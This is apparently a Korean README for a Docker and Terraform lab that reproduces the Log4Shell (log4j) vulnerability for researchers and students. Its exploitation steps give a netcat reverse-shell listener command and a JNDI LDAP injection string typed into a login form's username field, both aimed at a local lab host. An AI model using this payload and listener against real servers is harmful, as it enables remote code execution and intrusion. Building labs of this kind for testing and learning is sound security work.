소개

이 저장소는 Docker와 Hashicorp Terraform을 사용하여 log4j 취약점을 신속하게 테스트하기 위해 구성되었습니다. 이 테스트의 모든 구성 요소는 Docker 네트워크에서 Docker 컨테이너로 실행되며, 'host.docker.internal'을 통해 접근할 수 있습니다.

크레딧 / 면책 조항

이 테스트 환경은 Raxis의 훌륭한 블로그 게시물에서 파생되었습니다: (https://raxis.com/blog/log4j-exploit)

취약한 애플리케이션과 익스플로잇 코드는 cyberxml(https://github.com/cyberxml/log4j-poc)에서 가져왔습니다.

제가 한 것은 이 맛있는 익스플로잇을 쉽게 실행하고 테스트할 수 있도록 환경을 체계화한 것뿐입니다.

이 저장소의 자료 사용으로 인해 발생할 수 있는 부작용이나 악의적인 행위에 대해 어떠한 책임도 지지 않습니다. 그게 전부입니다. 이 자료를 신뢰할 수 있는지 여부를 결정하는 것은 여러분의 몫이며, 이 정보를 윤리적으로 사용할 책임도 마찬가지로 여러분에게 있습니다. 저는 연구자, 학생, 보안 전문가들이 신속하게 환경을 구축하고 익스플로잇을 직접 테스트할 수 있도록 이 자료를 게시할 뿐입니다. Seacrest out.

사전 요구 사항

• Docker Desktop (https://www.docker.com/)
• Hashicorp Terraform (https://www.terraform.io/)

설정

1. 이 저장소를 클론합니다.
2. 프로젝트 디렉터리에서 'terraform init'을 실행합니다.
3. Docker 데몬을 시작합니다.
4. 'docker-build.sh' bash 스크립트를 실행하여 프로젝트의 모든 컨테이너 이미지를 빌드합니다.
5. 'terraform apply'를 실행하여 프로젝트의 모든 컨테이너를 생성합니다.

익스플로잇

1. 'docker exec -it netcat /bin/bash' 또는 이와 유사한 명령을 사용하여 log4j_netcat 컨테이너에 셸로 접속합니다. 연결이 설정되면 이곳에서 피해자 서버로의 셸 연결을 수신하게 됩니다.

2. log4j_netcat 컨테이너 내부의 세션에서 다음 명령을 입력하여 리스너를 시작합니다:

nc -lv -s 0.0.0.0 -p 9001

3. 브라우저에서 http://host.docker.internal:8080/log4shell/ 로 이동합니다.

4. 'Username' 필드에 다음을 입력하고 'Password' 필드에는 원하는 값을 입력합니다:

${jndi:ldap://host.docker.internal:1389/a}

5. log4j_netcat 컨테이너 셸로 돌아가 피해자 서버에 연결되었는지 확인합니다.

6. 이제 마음껏 활약하세요!